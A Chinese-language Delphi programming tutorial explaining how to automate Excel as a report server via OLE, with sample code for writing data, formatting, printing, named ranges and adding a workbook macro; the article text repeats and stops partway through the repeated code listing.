Delphi与Excel的亲密接触 [王安鹏（anpengwang@263.net） 2002/4/14] Delphi作为一个出色的RAD，强大的数据库功能是其最重要的特色之一，但是操纵困难的QuickReport控件常常不能满足数据库报表的需要。如果你的报表非常复杂，或者要求灵活地改变格式，那么使用Excel作为报表服务器是一个不错的选择。Delphi从版本5开始提供的Excel组件极大地简化了OLE自动化技术的应用。不过缺漏多多的帮助文件一直是Delphi最令人诟病的地方，这些新组件也不例外，本文试图对此作一较详细地介绍。 Excel的对象模型是一个树状的层次结构，根是应用程序本身，工作簿WorkBook是根对象的属性对象，本文主要讨论的用于数据交换的WorkSheet则是工作簿的属性对象，详情参阅MSOffice提供的Excel VBA帮助文件。在Delphi中控制Excel首先要与服务器程序建立连接，打开工作簿，然后与目标工作表交换数据，最后断开连接。 打开Excel工作簿 我们的例子从一个带有TStringGrid（当然要填上一些数据）和两个按钮的主窗体开始，从控制面板的Servers页签中拖一个TExcelApplication控件放到窗体上。首先把ConnectKind设为ckRunningOrNew，表示如果能够检测到运行的Excel实例则与其建立联系，否则启动Excel。另外，如果希望程序一运行即与服务器程序建立联系，可以把AutoConnect属性设为True。 与Excel建立联系只要一条语句就可以了： Excel . Connect; 也许你已经注意到Servers页签上还有其他几个Excel控件，这些控件通过ConnectTo方法可以与前面的Excel联系在一起： ExcelWorkbook1.ConnectTo(Excel . ActiveWorkbook); ExcelWorksheet1.ConnectTo(Excel . ActiveSheet as _Worksheet); ExcelWorksheet2.ConnectTo(Excel . Worksheets.Item['Sheet2'] as _Worksheet); 要注意，使用ConnectTo方法前必须先打开相应的工作簿或工作表，另外这些控件在多数情况下并不会带来额外的便利，因此最好只使用一个TExcelApplication。 一旦与Excel服务器建立联系，就可以创建新的工作簿： var wkBook : _WorkBook; LCID : Integer; ... LCID := GetUserDefaultLCID(); wkBook := Excel.Workbooks.Add(EmptyParam, LCID); Add函数的第一个参数用于定义新建工作簿所使用的模板，可以使用xlWBATChart、xlWBATExcel4IntlMacroSheet、 xlWBATExcel4MacroSheet或者xlWBATWorksheet常量，也可以是已有的xls文件名。这里的EmptyParam是Variants单元与定义的变量，表示使用默认的通用模板创建新工作簿。 如果打开已有的xls文档，则应把要打开的文件名作为第一个参数传递给Open函数： wkBook:=Excel.WorkBooks.Open(edtDesFile.text,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); 要知道，所有的数据操作主要是针对活动工作表而言的，下面的语句使用一个_WorkSheet变量代表当前的活动单元格。如果知道工作表的名称，其中的索引号可以用工作表名代替： wkSheet:=wkBook.Sheets[1] as _WorkSheet; 完成数据交换后需要保存工作簿： Excel.ActiveWorkBook.SaveAs ('MyOutput', EmptyParam,EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, LCID); 或者： Excel.ActiveWorkBook.Save(LCID); 最后要关闭工作簿并断开与Excel的连接： wkBook.Close(True, SaveAsName, EmptyParam, LCID); //Excel.Quit; Excel.Disconnect; 这里的Close方法包含有保存的功能，第一个参数说明在关闭工作簿之前是否保存所做的修改，第二个参数给出要保存的文件名，第三个参数用于多位作者处理文档的情况。第二行要求终止Excel的运行。 与工作表交换数据 输入数据是对活动工作表的某个单元格或区域进行的，Range与cells都是工作表的对象属性。Cells是单元格的集合，如果没有指定具体位置可以代表整个工作表的所有单元格，但一般使用它是为了引用某个具体的单元格，比如WS.Cells.Item[1,1]就表示最左上角的单元格A1，注意在VBA中Item是Cells的默认属性可以省略，但在Delphi中就没有这种便利了。为单元格赋值要引用其Value属性，不言而喻，该属性是一个Variant变量，例如： wkSheet.Cells.Item[1, 1].Value := '通讯录'; 当然你也可以为单元格指定公式： var AFormula:String; …… AFormula:='=Rand()'; wkSheet.Range['F3','G6'].Value:=AFormula; 上面的方法非常直接简单，但是速度非常慢，不适合作大型报表。那么能不能把所有的数据依次传递给Excel呢？我们可以使用Range，这个对象代表工作表中的一个区域，象我们用鼠标拖出的那样，一般是一个矩形区域，只要给定其左上角和右下角单元格的位置就可以了，如Range[‘C3’,’J42’]。 这里还有一个小问题，因为如果数据超出26列（比如有100列）或者需要在运行中确定目标区域范围的话，使用字符名称标记单元格就比较麻烦。回想一下，既然“C3”是单元格的标记，那么我们当然也可以使用Cells，比如Range[Cells.Item[1,1], Cells.Item[100,100]]。 可以想象，Range的值应该是数组，但是绝对不能用Delphi中的Array给它赋值！要记住，在Delphi中，Excel对象的值总是Variant类型的。 var Datas : Variant; Ir, ic: Integer; …… Datas:= varArrayCreate([1,ir,1,ic],varVariant); //这里创建100*100的动态数组 …… //这里为数组元素赋值 with wkSheet do Range[cells.Item[3,1],cells.Item[ir+2,ic]].Value:=Datas; 要注意，工作表与Range都有Cells属性，为了明确起见，这里使用了with语句。此外，Range是有方向性的，用VarArrayCreate建立的一维数组只能赋给单行的Range，如果要为单列的Range定义值，必须使用二维数组，比如： Datas:=VarArrayCreate([1,100,1,1], varVariant)；//创建100*1的动态数组。 顺便提一下，Cells.Item[]实际上返回的也是Range对象。 从工作表中取回数据基本上是写数据的逆过程，稍微需要注意的是如何确定工作表的数据范围： var ir, ic : Integer; …… wkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate; ir := Excel.ActiveCell.Row; ic := Excel.ActiveCell.Column; 这里巧妙地利用特殊单元格函数SpecialCells取得包含数据的最后一个单元格。 数据编辑 下面是数据编辑的两个例子。 var DestRange: OleVariant; begin DestRange := Excel.Range['C1', 'D4']; Excel.Range['A1', 'B4'].Copy(DestRange); 上面的例子复制了8个单元格的内容。如果给Copy函数传递一个空参数，则该区域的数据被复制到剪贴板，以后可以用Paste方法粘贴到别的位置。 var WS: _Worksheet; …… Excel.Range['A1', 'B4'].Copy(EmptyParam); //在一个工作表中复制数据到剪贴板 WS := Excel.Activesheet as _Worksheet; //改变活动工作表 WS.Range['C1', 'D4'].Select; WS.Paste(EmptyParam, EmptyParam, lcid); //把剪贴板中的内容粘贴到新的工作表中 格式设置 选择Excel作为报表服务器主要是因为它强大的格式化能力。我们首先把标题“通讯录”进行单元格合并，居中显示，然后修改字体为18磅的“隶书”，粗体： with wkSheet.Range['A1','D1'],Font do begin Merge(True); //合并单元格 HorizontalAlignment:= xlCenter; Size:=18; Name:='隶书'; FontStyle:=Bold; end; 如果单元格内容较长，将有部分内容无法显示，通常的做法是双击选定区域右侧的边线是各列的宽度自动适应内容的长度。在Delphi中通过AutoFit方法也可实现自适应的列宽行高，需要注意的是该方法仅能用于整行整列，否则会提示OLE方法拒绝执行的错误： wkSheet.Columns.EntireColumn.AutoFit; 中式报表通常需要上下封顶的表格线，可以使用Borders集合属性。要注意，VBA中的集合对象通常都有一个缺省的Item属性，Delphi中是不能省略的。Weight属性用于定义表格线的粗细： with Aname.RefersToRange,Borders do begin HorizontalAlignment:= xlRight; Item[xlEdgeBottom].Weight:=xlMedium; Item[xlEdgeTop].Weight:=xlMedium; Item[xlInsideHorizontal].Weight:=xlThin; item[xlInsideVertical].Weight:=xlThin; end; 页面设置与打印 页面设置是通过工作表的PageSetUp对象属性设置的。Excel VBA中预设了40余种纸张常量，需要注意的是某些打印机只支持其中的一部分纸张类型。属性Orientation用于控制打印的方向，常量landscape = 2表示横向打印。布尔属性CenterHorizontally和CenterVertically用于确定打印的内容是否在水平和垂直方向上居中。 with wkSheet.PageSetUp do begin PaperSize:=xlPaperA4; //Paper type A4 PrintTitleRows := 'A1:D1'; //Repeat this row/page LeftMargin:=18; //0.25" Left Margin RightMargin:=18; //0.25" will vary between printers TopMargin:=36; //0.5" BottomMargin:=36; //0.5" CenterHorizontally:=True; Orientation:=1; //横向打印（landscape）=2, portrait=1 end; 打印报表可以调用工作表的PrintOut方法，VBA定义的该方法共有8个可选参数，前两个用于规定起止页，第三格式打印的份数，不过在Delphi中为其在最后增加了一个LCID参数，而且该参数不能使用EmptyParam。类似地，打印预览方法PrintPreview在VBA中没有参数，而在Delphi中调用需要两个参数。 // wkBook.PrintPreview(True,LCID); //for previewing wkSheet.PrintOut(EmptyParam,EmptyParam,1, EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); 命名区域与宏 如果报表的格式比较复杂，为特定的表格区域命名然后按名引用是一种比较好的方法。Names是WorkBook的一个集合对象属性，它有一个的Add方法可以完成这项工作。 Var Aname : Excel2000.Name; …… Aname := wkBook.Names.Add('通讯录','=Sheet1!$A$3:$D$7', EmptyParam, EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam); 其中Add函数的第一个参数是定义的名称，第二个参数是名称所表示的单元格区域。要注意区域名称的类型必须使用限定符，如果使用类型库（D4），则限定符为Excel_TLB。此外，命名的区域应使用绝对引用方式，即加上“$”符号。 一旦命名了一个区域，就可以使用这个名称来引用它，下面的一行代码使通讯录内容以粗体显示： AName.RefersToRange.Font.Bold:=True; 不过最令人惊喜的也许是你能够在Delphi中动态地修改Excel宏程序！下面的代码为我们的工作簿创建了一个宏，在关闭工作簿时记录上一次访问的时间： var LineNo: integer; CM: CodeModule; sDate:String; begin CM := WkBook.VBProject.VBComponents.Item('ThisWorkbook').Codemodule; LineNo := CM.CreateEventProc('BeforeClose', 'Workbook'); SDate:='上次访问日期:'+DateToStr(Date()); CM.InsertLines(LineNo + 1, ' Range("B2").Value = "'+sDate+'"'); End; 修改宏需要在前面的uses一节加上一个单元：VBIDE2000，如果使用类型库则相应的单元为VBIDE_TLB。这段代码的关键是CodeModule对象，遗憾的是在Excel VBA help文中找不到该对象的踪迹，只能去检索MSDN了。 Delphi4及以前的版本 Delphi4没有提供TExcelApplication对象，需要引入类型库使用OLE自动化技术，Excel97的类型库是Excel8.olb。这两种方法的主要区别在于与服务器程序建立连接的方法，下面是通过类型库控制Excel的程序框架： uses Windows, ComObj, ActiveX, Excel_TLB; var Excel: _Application; LCID: integer; Unknown:IUnknown; Result: HResult; begin LCID := LOCALE_USER_DEFAULT; Result := GetActiveObject(CLASS_Application, nil, Unknown); //尝试捕获运行中的程序实例 if (Result = MK_E_UNAVAILABLE) then Excel := CoApplication.Create //启动新的程序实例 else begin {检查GetActiveObject方法调用过程中的错误} OleCheck(Result); OleCheck(Unknown.QueryInterface(_Application, Excel)); end; …… //进行数据处理 Excel.Visible[LCID] := True; // Excel.DisplayAlerts[LCID] := False; //显示提示对话框 Excel.Quit; End; 这里没有采用通常的try…except结构，是因为例外处理机制要进行复杂的OLE检查，降低了except部分的执行速度。要注意，不同的Delphi版本生成的伴随函数CoApplication和一些常量名可能不同，应查看相应的类型库。在调用Quit方法之前，一定要释放程序中创建的所有工作簿和工作表变量，否则Excel可能驻留在内存中运行（可以按下Ctrl+Alt+Del查看）。调用GetActiveObject捕获程序实例还有一个小问题，如果Excel处于最小化运行状态，可能出现只显示程序主框架而用户区不可见的情况。 此外，如果不希望引入类型库，还可以采用滞后绑定的方法，不过速度要慢许多。下面的例子声明了一个Variant变量来代表Excel应用程序： var Excel: Variant; …… try Excel := GetActiveOleObject('Excel.Application'); except Excel := CreateOleObject('Excel.Application'); end; Excel.Visible := True; 采用滞后绑定时，编译器不对调用的Excel对象方法进行检查，而把这些工作交给服务器程序在执行时完成，这样VBA所设置的大量默认参数（经常有十几个）就发挥了应有的作用，因此这种方法有一个意料不到的好处——代码简洁： var WBk, WS, SheetName: OleVariant; .….. WBk := Excel.WorkBooks.Open('C:\Test.xls'); WS := WBk.Worksheets.Item['SheetName']; WS.Activate; …… WBk.Close(SaveChanges := True); Excel.Quit; 除了运行速度慢以外，如果要使用类型库中定义的常量，就只能自己动手了： const xlWBATWorksheet = -4167; …… XLApp.Workbooks.Add(xlWBatWorkSheet); 最后不要忘记关闭Excel之后释放变量： Excel := Unassigned; 以下是本文例子中所用的源代码，在Delphi6+MSOffice2000下通过。 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, OleServer, Excel2000, Grids, StdCtrls; type TForm1 = class(TForm) Button1: TButton; StringGrid1: TStringGrid; Excel: TExcelApplication; procedure FormActivate(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } procedure Write2Xls; procedure OpenExl; procedure CloseExl; procedure AddFormula; procedure NameSheet; procedure Formats; procedure AddMacro; procedure Retrieve; procedure Printit; public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses VBIDE2000; var ir,ic:Integer; wkSheet:_WorkSheet; LCID:Integer; wkBook:_WorkBook; AName:Excel2000.Name; procedure TForm1.FormActivate(Sender: TObject); begin with StringGrid1 do begin Rows[0].CommaText:='姓名,性别,年龄,电话'; Rows[1].CommaText:='张三,男,25,010-33775566'; Rows[2].CommaText:='李四,男,47,012-6574906'; Rows[3].CommaText:='周五,女,18,061-7557381'; Rows[4].CommaText:='孙涛,女,31,3324559'; end; end; procedure TForm1.OpenExl; begin with Excel do begin Connect; LCID:=GetUserDefaultLCID(); wkBook:=WorkBooks.Add(EmptyParam,LCID); wkSheet:=wkBook.Sheets[1] as _WorkSheet; end; end; procedure TForm1.Write2Xls; var Datas:Variant; i,j:Integer; begin ir:=StringGrid1.RowCount; ic:=StringGrid1.ColCount; Datas:=varArrayCreate([1,ir,1,ic],varVariant); for i:=1 to ir do for j:=1 to ic do Datas[i,j]:=StringGrid1.Cells[j-1,i-1]; with wkSheet do begin Activate(LCID); Cells.Item[1,1].Value:='通讯录'; Range[cells.Item[3,1],cells.Item[ir+2,ic]].Value:=Datas; end; // Excel.Visible[LCID]:=True; Datas:=Unassigned; end; procedure TForm1.Retrieve; var Datas:Variant; i,j:Integer; begin with wkSheet do begin Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate; ir:=Excel.ActiveCell.Row; ic:=Excel.ActiveCell.Column; Datas:=Range[Cells.Item[1,1],Cells.Item[ir,ic]].Value; with StringGrid1 do begin ColCount:=ic; RowCount:=ir; ScrollBars:=ssBoth; for i:=0 to ir-1 do for j:=0 to ic-1 do Cells[j,i]:=Datas[i+1,j+1]; end; Datas:=UnAssigned; end; end; procedure TForm1.CloseExl; const SaveAsName='test.xls'; begin wkBook.Close(True,SaveAsName,EmptyParam,LCID); Excel.Quit; Excel.Disconnect; end; procedure TForm1.NameSheet; begin AName:=wkBook.Names.Add('通讯录','=Sheet1!$A$3:$D$7',EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam); end; procedure TForm1.AddFormula; var AFormula:String; begin AFormula:='=Rand()'; wkSheet.Range['F3','G6'].Value:=AFormula; end; procedure TForm1.Formats; begin with wkSheet.Range['A1','D1'],Font do begin Merge(True); //合并单元格 HorizontalAlignment:= xlCenter; Size:=18; Name:='隶书'; FontStyle:=Bold; end; wkSheet.Columns.EntireColumn.AutoFit; with Aname.RefersToRange,Borders do begin HorizontalAlignment:= xlRight; Item[xlEdgeBottom].Weight:=xlMedium; Item[xlEdgeTop].Weight:=xlMedium; Item[xlInsideHorizontal].Weight:=xlThin; item[xlInsideVertical].Weight:=xlThin; end; end; procedure TFOrm1.AddMacro; var LineNo: integer; CM: CodeModule; sDate:String; begin CM := WkBook.VBProject.VBComponents.Item('ThisWorkbook').Codemodule; LineNo := CM.CreateEventProc('BeforeClose', 'Workbook'); SDate:='上次访问日期:'+DateToStr(Date()); CM.InsertLines(LineNo + 1, ' Range("B2").Value = "'+sDate+'"'); end; procedure TForm1.Printit; begin with wkSheet.PageSetUp do begin PaperSize:=xlPaperA4; //Paper type A4 PrintTitleRows := 'A1:D1'; //Repeat this row/page LeftMargin:=18; //0.25" Left Margin RightMargin:=18; //0.25" will vary between printers TopMargin:=36; //0.5" BottomMargin:=36; //0.5" CenterHorizontally:=True; Orientation:=1; //横向打印（landscape）=2, portrait=1 end; wkSheet.PrintOut(EmptyParam,EmptyParam,1, EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); end; procedure TForm1.Button1Click(Sender: TObject); begin try OpenExl; Write2xls; AddFormula; NameSheet; Formats; PrintIt; AddMacro; ReTrieve; finally CloseExl; end; end; end. Delphi与Excel的亲密接触 [王安鹏（anpengwang@263.net） 2002/4/14] Delphi作为一个出色的RAD，强大的数据库功能是其最重要的特色之一，但是操纵困难的QuickReport控件常常不能满足数据库报表的需要。如果你的报表非常复杂，或者要求灵活地改变格式，那么使用Excel作为报表服务器是一个不错的选择。Delphi从版本5开始提供的Excel组件极大地简化了OLE自动化技术的应用。不过缺漏多多的帮助文件一直是Delphi最令人诟病的地方，这些新组件也不例外，本文试图对此作一较详细地介绍。 Excel的对象模型是一个树状的层次结构，根是应用程序本身，工作簿WorkBook是根对象的属性对象，本文主要讨论的用于数据交换的WorkSheet则是工作簿的属性对象，详情参阅MSOffice提供的Excel VBA帮助文件。在Delphi中控制Excel首先要与服务器程序建立连接，打开工作簿，然后与目标工作表交换数据，最后断开连接。 打开Excel工作簿 我们的例子从一个带有TStringGrid（当然要填上一些数据）和两个按钮的主窗体开始，从控制面板的Servers页签中拖一个TExcelApplication控件放到窗体上。首先把ConnectKind设为ckRunningOrNew，表示如果能够检测到运行的Excel实例则与其建立联系，否则启动Excel。另外，如果希望程序一运行即与服务器程序建立联系，可以把AutoConnect属性设为True。 与Excel建立联系只要一条语句就可以了： Excel . Connect; 也许你已经注意到Servers页签上还有其他几个Excel控件，这些控件通过ConnectTo方法可以与前面的Excel联系在一起： ExcelWorkbook1.ConnectTo(Excel . ActiveWorkbook); ExcelWorksheet1.ConnectTo(Excel . ActiveSheet as _Worksheet); ExcelWorksheet2.ConnectTo(Excel . Worksheets.Item['Sheet2'] as _Worksheet); 要注意，使用ConnectTo方法前必须先打开相应的工作簿或工作表，另外这些控件在多数情况下并不会带来额外的便利，因此最好只使用一个TExcelApplication。 一旦与Excel服务器建立联系，就可以创建新的工作簿： var wkBook : _WorkBook; LCID : Integer; ... LCID := GetUserDefaultLCID(); wkBook := Excel.Workbooks.Add(EmptyParam, LCID); Add函数的第一个参数用于定义新建工作簿所使用的模板，可以使用xlWBATChart、xlWBATExcel4IntlMacroSheet、 xlWBATExcel4MacroSheet或者xlWBATWorksheet常量，也可以是已有的xls文件名。这里的EmptyParam是Variants单元与定义的变量，表示使用默认的通用模板创建新工作簿。 如果打开已有的xls文档，则应把要打开的文件名作为第一个参数传递给Open函数： wkBook:=Excel.WorkBooks.Open(edtDesFile.text,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); 要知道，所有的数据操作主要是针对活动工作表而言的，下面的语句使用一个_WorkSheet变量代表当前的活动单元格。如果知道工作表的名称，其中的索引号可以用工作表名代替： wkSheet:=wkBook.Sheets[1] as _WorkSheet; 完成数据交换后需要保存工作簿： Excel.ActiveWorkBook.SaveAs ('MyOutput', EmptyParam,EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, LCID); 或者： Excel.ActiveWorkBook.Save(LCID); 最后要关闭工作簿并断开与Excel的连接： wkBook.Close(True, SaveAsName, EmptyParam, LCID); //Excel.Quit; Excel.Disconnect; 这里的Close方法包含有保存的功能，第一个参数说明在关闭工作簿之前是否保存所做的修改，第二个参数给出要保存的文件名，第三个参数用于多位作者处理文档的情况。第二行要求终止Excel的运行。 与工作表交换数据 输入数据是对活动工作表的某个单元格或区域进行的，Range与cells都是工作表的对象属性。Cells是单元格的集合，如果没有指定具体位置可以代表整个工作表的所有单元格，但一般使用它是为了引用某个具体的单元格，比如WS.Cells.Item[1,1]就表示最左上角的单元格A1，注意在VBA中Item是Cells的默认属性可以省略，但在Delphi中就没有这种便利了。为单元格赋值要引用其Value属性，不言而喻，该属性是一个Variant变量，例如： wkSheet.Cells.Item[1, 1].Value := '通讯录'; 当然你也可以为单元格指定公式： var AFormula:String; …… AFormula:='=Rand()'; wkSheet.Range['F3','G6'].Value:=AFormula; 上面的方法非常直接简单，但是速度非常慢，不适合作大型报表。那么能不能把所有的数据依次传递给Excel呢？我们可以使用Range，这个对象代表工作表中的一个区域，象我们用鼠标拖出的那样，一般是一个矩形区域，只要给定其左上角和右下角单元格的位置就可以了，如Range[‘C3’,’J42’]。 这里还有一个小问题，因为如果数据超出26列（比如有100列）或者需要在运行中确定目标区域范围的话，使用字符名称标记单元格就比较麻烦。回想一下，既然“C3”是单元格的标记，那么我们当然也可以使用Cells，比如Range[Cells.Item[1,1], Cells.Item[100,100]]。 可以想象，Range的值应该是数组，但是绝对不能用Delphi中的Array给它赋值！要记住，在Delphi中，Excel对象的值总是Variant类型的。 var Datas : Variant; Ir, ic: Integer; …… Datas:= varArrayCreate([1,ir,1,ic],varVariant); //这里创建100*100的动态数组 …… //这里为数组元素赋值 with wkSheet do Range[cells.Item[3,1],cells.Item[ir+2,ic]].Value:=Datas; 要注意，工作表与Range都有Cells属性，为了明确起见，这里使用了with语句。此外，Range是有方向性的，用VarArrayCreate建立的一维数组只能赋给单行的Range，如果要为单列的Range定义值，必须使用二维数组，比如： Datas:=VarArrayCreate([1,100,1,1], varVariant)；//创建100*1的动态数组。 顺便提一下，Cells.Item[]实际上返回的也是Range对象。 从工作表中取回数据基本上是写数据的逆过程，稍微需要注意的是如何确定工作表的数据范围： var ir, ic : Integer; …… wkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate; ir := Excel.ActiveCell.Row; ic := Excel.ActiveCell.Column; 这里巧妙地利用特殊单元格函数SpecialCells取得包含数据的最后一个单元格。 数据编辑 下面是数据编辑的两个例子。 var DestRange: OleVariant; begin DestRange := Excel.Range['C1', 'D4']; Excel.Range['A1', 'B4'].Copy(DestRange); 上面的例子复制了8个单元格的内容。如果给Copy函数传递一个空参数，则该区域的数据被复制到剪贴板，以后可以用Paste方法粘贴到别的位置。 var WS: _Worksheet; …… Excel.Range['A1', 'B4'].Copy(EmptyParam); //在一个工作表中复制数据到剪贴板 WS := Excel.Activesheet as _Worksheet; //改变活动工作表 WS.Range['C1', 'D4'].Select; WS.Paste(EmptyParam, EmptyParam, lcid); //把剪贴板中的内容粘贴到新的工作表中 格式设置 选择Excel作为报表服务器主要是因为它强大的格式化能力。我们首先把标题“通讯录”进行单元格合并，居中显示，然后修改字体为18磅的“隶书”，粗体： with wkSheet.Range['A1','D1'],Font do begin Merge(True); //合并单元格 HorizontalAlignment:= xlCenter; Size:=18; Name:='隶书'; FontStyle:=Bold; end; 如果单元格内容较长，将有部分内容无法显示，通常的做法是双击选定区域右侧的边线是各列的宽度自动适应内容的长度。在Delphi中通过AutoFit方法也可实现自适应的列宽行高，需要注意的是该方法仅能用于整行整列，否则会提示OLE方法拒绝执行的错误： wkSheet.Columns.EntireColumn.AutoFit; 中式报表通常需要上下封顶的表格线，可以使用Borders集合属性。要注意，VBA中的集合对象通常都有一个缺省的Item属性，Delphi中是不能省略的。Weight属性用于定义表格线的粗细： with Aname.RefersToRange,Borders do begin HorizontalAlignment:= xlRight; Item[xlEdgeBottom].Weight:=xlMedium; Item[xlEdgeTop].Weight:=xlMedium; Item[xlInsideHorizontal].Weight:=xlThin; item[xlInsideVertical].Weight:=xlThin; end; 页面设置与打印 页面设置是通过工作表的PageSetUp对象属性设置的。Excel VBA中预设了40余种纸张常量，需要注意的是某些打印机只支持其中的一部分纸张类型。属性Orientation用于控制打印的方向，常量landscape = 2表示横向打印。布尔属性CenterHorizontally和CenterVertically用于确定打印的内容是否在水平和垂直方向上居中。 with wkSheet.PageSetUp do begin PaperSize:=xlPaperA4; //Paper type A4 PrintTitleRows := 'A1:D1'; //Repeat this row/page LeftMargin:=18; //0.25" Left Margin RightMargin:=18; //0.25" will vary between printers TopMargin:=36; //0.5" BottomMargin:=36; //0.5" CenterHorizontally:=True; Orientation:=1; //横向打印（landscape）=2, portrait=1 end; 打印报表可以调用工作表的PrintOut方法，VBA定义的该方法共有8个可选参数，前两个用于规定起止页，第三格式打印的份数，不过在Delphi中为其在最后增加了一个LCID参数，而且该参数不能使用EmptyParam。类似地，打印预览方法PrintPreview在VBA中没有参数，而在Delphi中调用需要两个参数。 // wkBook.PrintPreview(True,LCID); //for previewing wkSheet.PrintOut(EmptyParam,EmptyParam,1, EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,LCID); 命名区域与宏 如果报表的格式比较复杂，为特定的表格区域命名然后按名引用是一种比较好的方法。Names是WorkBook的一个集合对象属性，它有一个的Add方法可以完成这项工作。 Var Aname : Excel2000.Name; …… Aname := wkBook.Names.Add('通讯录','=Sheet1!$A$3:$D$7', EmptyParam, EmptyParam, EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,EmptyParam); 其中Add函数的第一个参数是定义的名称，第二个参数是名称所表示的单元格区域。要注意区域名称的类型必须使用限定符，如果使用类型库（D4），则限定符为Excel_TLB。此外，命名的区域应使用绝对引用方式，即加上“$”符号。 一旦命名了一个区域，就可以使用这个名称来引用它，下面的一行代码使通讯录内容以粗体显示： AName.RefersToRange.Font.Bold:=True; 不过最令人惊喜的也许是你能够在Delphi中动态地修改Excel宏程序！下面的代码为我们的工作簿创建了一个宏，在关闭工作簿时记录上一次访问的时间： var LineNo: integer; CM: CodeModule; sDate:String; begin CM := WkBook.VBProject.VBComponents.Item('ThisWorkbook').Codemodule; LineNo := CM.CreateEventProc('BeforeClose', 'Workbook'); SDate:='上次访问日期:'+DateToStr(Date()); CM.InsertLines(LineNo + 1, ' Range("B2").Value = "'+sDate+'"'); End; 修改宏需要在前面的uses一节加上一个单元：VBIDE2000，如果使用类型库则相应的单元为VBIDE_TLB。这段代码的关键是CodeModule对象，遗憾的是在Excel VBA help文中找不到该对象的踪迹，只能去检索MSDN了。 Delphi4及以前的版本 Delphi4没有提供TExcelApplication对象，需要引入类型库使用OLE自动化技术，Excel97的类型库是Excel8.olb。这两种方法的主要区别在于与服务器程序建立连接的方法，下面是通过类型库控制Excel的程序框架： uses Windows, ComObj, ActiveX, Excel_TLB; var Excel: _Application; LCID: integer; Unknown:IUnknown; Result: HResult; begin LCID := LOCALE_USER_DEFAULT; Result := GetActiveObject(CLASS_Application, nil, Unknown); //尝试捕获运行中的程序实例 if (Result = MK_E_UNAVAILABLE) then Excel := CoApplication.Create //启动新的程序实例 else begin {检查GetActiveObject方法调用过程中的错误} OleCheck(Result); OleCheck(Unknown.QueryInterface(_Application, Excel)); end; …… //进行数据处理 Excel.Visible[LCID] := True; // Excel.DisplayAlerts[LCID] := False; //显示提示对话框 Excel.Quit; End; 这里没有采用通常的try…except结构，是因为例外处理机制要进行复杂的OLE检查，降低了except部分的执行速度。要注意，不同的Delphi版本生成的伴随函数CoApplication和一些常量名可能不同，应查看相应的类型库。在调用Quit方法之前，一定要释放程序中创建的所有工作簿和工作表变量，否则Excel可能驻留在内存中运行（可以按下Ctrl+Alt+Del查看）。调用GetActiveObject捕获程序实例还有一个小问题，如果Excel处于最小化运行状态，可能出现只显示程序主框架而用户区不可见的情况。 此外，如果不希望引入类型库，还可以采用滞后绑定的方法，不过速度要慢许多。下面的例子声明了一个Variant变量来代表Excel应用程序： var Excel: Variant; …… try Excel := GetActiveOleObject('Excel.Application'); except Excel := CreateOleObject('Excel.Application'); end; Excel.Visible := True; 采用滞后绑定时，编译器不对调用的Excel对象方法进行检查，而把这些工作交给服务器程序在执行时完成，这样VBA所设置的大量默认参数（经常有十几个）就发挥了应有的作用，因此这种方法有一个意料不到的好处——代码简洁： var WBk, WS, SheetName: OleVariant; .….. WBk := Excel.WorkBooks.Open('C:\Test.xls'); WS := WBk.Worksheets.Item['SheetName']; WS.Activate; …… WBk.Close(SaveChanges := True); Excel.Quit; 除了运行速度慢以外，如果要使用类型库中定义的常量，就只能自己动手了： const xlWBATWorksheet = -4167; …… XLApp.Workbooks.Add(xlWBatWorkSheet); 最后不要忘记关闭Excel之后释放变量： Excel := Unassigned; 以下是本文例子中所用的源代码，在Delphi6+MSOffice2000下通过。 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, OleServer, Excel2000, Grids, StdCtrls; type TForm1 = class(TForm) Button1: TButton; StringGrid1: TStringGrid; Excel: TExcelApplication; procedure FormActivate(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } procedure Write2Xls; procedure OpenExl; procedure CloseExl; procedure AddFormula; procedure NameSheet; procedure Formats; procedure AddMacro; procedure Retrieve; procedure Printit; public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses VBIDE2000; var ir,ic:Integer; wkSheet:_WorkSheet; LCID:Integer; wkBook:_WorkBook; AName:Excel2000.Name; procedure TForm1.FormActivate(Sender: TObject); begin with StringGrid1 do begin Rows[0].CommaText:='姓名,性别,年龄,电话'; Rows[1].CommaText:='张三,男,25,010-33775566'; Rows[2].CommaText:='李四,男,47,012-6574906'; Rows[3].CommaText:='周五,女,18,061-7557381'; Rows[4].CommaText:='孙涛,女,31,3324559'; end; end; procedure TForm1.OpenExl; begin with Excel do begin Connect; LCID:=GetUserDefaultLCID(); wkBook:=WorkBooks.Add(EmptyParam,LCID); wkSheet:=wkBook.Sheets[1] as _WorkSheet; end; end; procedure TForm1.Write2Xls; var Datas:Variant; i,j:Integer; begin ir:=StringGrid1.RowCount; ic:=StringGrid1.ColCount; Datas:=varArrayCreate([1,ir,1,ic],varVariant); for i:=1 to ir do for j:=1 to ic do Datas[i,j]:=StringGrid1.Cells[j-1,i-1]; with wkSheet do begin Activate(LCID); Cells.Item[1,1].Value:='通讯录'; 